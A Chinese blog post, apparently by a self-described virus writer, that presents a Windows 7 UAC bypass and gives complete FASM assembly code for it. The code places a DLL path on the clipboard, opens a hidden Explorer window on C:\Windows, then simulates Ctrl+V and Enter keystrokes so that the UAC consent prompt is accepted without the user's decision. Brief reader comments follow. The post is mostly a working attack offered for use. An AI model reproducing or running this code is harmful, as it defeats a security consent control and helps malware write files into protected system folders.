Hi, 伙计们最近还好不, 闷热的天气不知你是否和我一样烦躁。不过这样的天气咱们可不能糟蹋了, 所以就扔点闷热的思路吧,主题: Bypass Win7 Uac。

  Win7 Uac的思路很多,但是实用的确很少。例如利用白名单机制通过IFileOperation来yy. 例如还有在很久很久以前通过DuplicateTokenEx,及CreateProcessAsUser来yy的.

  恩除了白名单的利用还算可以,第二种就别提了, 已经属于….过去时了,不过最让我伤心的是,在今年的杂志上我的心灵又被悄悄的撞伤了, 一篇FireWorm的 Bypass uac的标题把我深深的吸引了,可是当我看到内容的时候,嗯,我哭了. 哭的很伤心.

  唔,前言就说这么些吧,呼呼,纯属无聊的发狂. 今天咱们就来谈点实用思路吧,啥叫实用,那就是用简单的思路和方法来实现需求.恩,符合一个Vxer的思想, 自恋一下.

我们来继续正题吧.

不知道大家是否对win7 的uac进行过了解,这里我先简单的诉说一下.

(1). win7 默认系统分区的根目录是可以创建文件夹的.

(2). win7 uac 现在有自定义级别了(这有点是废话了).

(3). win7 uac默认级别 我们通过交互的形式进行文件操作,你是否发现它的用户权限控制的提示窗口并不是锁死的,我们是可以操作的,呼呼,聪明家伙们似乎想到了什么, 不过这个操作我们利用资源管理器的文件操作方法的接口是没用的,为啥呢?这你就去了解我上面所说的白名单吧。

Ok, 简单了解了以上3点。我们就有对策了, 通过第三点,我们只要能模拟出真实的文件操作,那么我们就可以YY它的用户权限控制窗口。

呀?你问我啥叫真实的操作,OK, 就是平常我们通过输入设备的交互这个我们这里就把它名为真实的文件操作。那么怎么模拟呢?那就接下来直接上Demo吧,因为代码非常Easy,所以我就不对代码进行太多的解释了,相信大家都应该能看懂。

这里我给大家叙述下流程吧,:

我们先将要拷贝文件复制到剪贴板中,然后通过命令行explorer.exe c:\windows 进行隐藏打开,然后取窗口句柄,设置焦点,然后模拟ctrl+v进行复制操作,然后通过模拟enter进行允许 uac 窗口, ok 程序完成。

Demo环境hp win7 家庭高级版, UAC 默认级别

        format PE GUI 4.0
        
        include ‘win32ax.inc’
        include ‘system.inc’

.text

include ‘table.inc’
include ‘system\string.asm’

struct DROPFILES
  pFiles rd 1
  pt        POINT
  fNc        rd 1
  fWide        rd 1
ends

stDropFile   DROPFILES
szFileName   db        ’d:\demo.dll’, 0

        entry        $
        
                invoke        GlobalAlloc, GMEM_ZEROINIT, sizeof.DROPFILES + szFileName.size  + 5
                xchg        eax, edi
                mov        dword [edi+DROPFILES.pFiles], sizeof.DROPFILES
        
                mov        esi, szFileName
                mov        ecx, szFileName.size
                push        edi
                add        edi, sizeof.DROPFILES
                rep        movsb
                pop        edi

                ; copy data to clipboard
                
                invoke        OpenClipboard, 0
                invoke        EmptyClipboard
                invoke        SetClipboardData, CF_HDROP, edi
                invoke        CloseClipboard
                
                ; open c:\windows
                
                invoke        WinExec, ‘explorer.exe c:\windows’, SW_HIDE
                
                ; set windows focus
                
                invoke        FindWindow, NULL, ‘Windows’
                xchg        eax, ebx
                invoke        SetForegroundWindow, ebx
                
                invoke        Sleep, 1000
                
                ; send ctrl + v
                
                invoke        keybd_event, VK_CONTROL, 0, 0, 0
                invoke        keybd_event, VK_V, 0, 0, 0
                invoke        keybd_event, VK_V, 0, KEYEVENTF_KEYUP, 0
                invoke        keybd_event, VK_CONTROL, 0, KEYEVENTF_KEYUP, 0
                
                ; send enter bypass uac
                
                invoke        keybd_event, VK_RETURN, 0, 0, 0
                invoke        keybd_event, VK_RETURN, 0, KEYEVENTF_KEYUP, 0
                
                invoke        ExitProcess, 0

        .idata

Trackback

本文到目前为止有 11 个回复

  1. 学习了!感谢博主分享

    [回复]

  2. 博主写的不错,但是有点看不懂

    [回复]

  3. 不错的博客,欢迎回访。

    [回复]

  4. 每次过来都能发现新东西。。。呵呵。。

    [回复]

    零度x 回复:

    欢迎常来~

    [回复]

  5. 楼主太强悍了。。可惜俺们 功底不行丫。看来是没希望了。。哎

    [回复]

    零度x 回复:

    不是我强悍,是小鱼写的~

    [回复]

  6. 回访了。。。

    [回复]

  7. 每日一访。。。

    [回复]

  8. 确实是不错~~~~~~

    [回复]

  9. 博客的内容很丰富啊,拜读中。。。

    [回复]

添加回复